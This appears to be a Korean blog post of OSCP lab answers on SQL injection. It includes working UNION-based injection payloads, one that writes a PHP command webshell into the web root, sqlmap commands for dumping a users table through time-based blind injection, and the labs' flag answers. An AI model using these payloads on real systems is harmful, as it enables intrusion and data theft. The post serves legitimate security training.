반응형
- Connect to the MSSQL VM 1 and enable xp_cmdshell as showcased in this Module. Which MSSQL configuration option needs to be enabled before xp_cmdshell can be turned on?
--> show advanced options
- Connect to the MySQL VM 2 and repeat the steps illustrated in this section to manually exploit the UNION-based SQLi. Once you have obtained a webshell, gather the flag that is located in the same tmp folder.
--> OS{2ac85dfb45201ab0e357e2063f8f1222}
' ORDER BY 1-- // 과 'ORDER BY 6-- //의 차이가 5개의 열을 사용하는 것으로 확인
위 정보를 염두에 두고 현재 데이터베이스 이름, 사용자 및 MySQL 버전을 열거하여 첫 번째 공격을 시도할 수 있습니다.
%' UNION SELECT database(), user(), @@version, null, null -- //
공격을 시작한 후, 사용자 이름과 DB 버전이 마지막 줄에 있지만 현재 데이터베이스 이름은 없다는 것을 알게 될 것입니다. 이는 열 1이 일반적으로 정수 데이터 유형으로 구성된 ID 필드에 예약되어 있기 때문에 SELECT database() 문을 통해 요청하는 문자열 값을 반환할 수 없기 때문입니다 .
모든 열거 함수를 가장 오른쪽으로 이동하여 유형 불일치를 방지하여 쿼리를 업데이트 테스트 하면 성공되는 것을 확인
' UNION SELECT null, null, database(), user(), @@version -- //
UNION SELECT SQL 키워드를 사용, 첫 번째 열에 단일 PHP 줄을 포함하고 이를 쓰기 가능한 웹 폴더 webshell.php 로 저장
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //
webshell.php에 접근이 되어서 다음 플래그를 찾아주면 끝.
- Connect to the MySQL VM 3 and automate the SQL injection discovery via sqlmap as shown in this section. Then dump the users table by abusing the time-based blind SQLi and find the flag that is stored in one of the table's records.
--> OS{75767ce0160538a7fac0a93202e4b2e9}
blind sql injeciotn flow
1. 취약점 탐지
sqlmap -u "http://example.com/page.php?id=1" --technique=T --time-sec=5
2. 데이터베이스 이름 확인
sqlmap -u "http://example.com/page.php?id=1" --dbs --batch
3. 특정 데이터베이스의 테이블 확인
sqlmap -u "http://example.com/page.php?id=1" -D target_db --tables
4. 특정 테이블의 열 확인
sqlmap -u "http://example.com/page.php?id=1" -D target_db -T users --columns
5. 데이터 덤프
sqlmap -u "http://example.com/page.php?id=1" -D target_db -T users -C flag --dump --threads=10
- Capstone Lab: Enumerate the Module Exercise - VM #1 and exploit the SQLi vulnerability to get the flag
- Capstone Lab: Enumerate the Module Exercise - VM #2 and exploit the SQLi vulnerability to get the flag.
- Capstone Lab: Enumerate the Module Exercise - VM #3 and exploit the SQLi vulnerability to get the flag.
- Capstone Lab: Enumerate the Module Exercise - VM #4 and exploit the SQLi vulnerability to get the flag.
반응형
'보안 > OSCP' 카테고리의 다른 글
[OSCP] Exploiting a Target - exam (0) | 2024.12.04 |
---|---|
[OSCP] Client-side Attacks - Information Gathering (0) | 2024.11.26 |
[OSCP]SQL Injection Attacks - DB Types and Characteristics (0) | 2024.11.22 |
[OSCP]SQL Injection Attacks - SQL Theory and Databases (mssql) (0) | 2024.11.22 |
[OSCP]SQL Injection Attacks - SQL Theory and Databases (mysql) (0) | 2024.11.21 |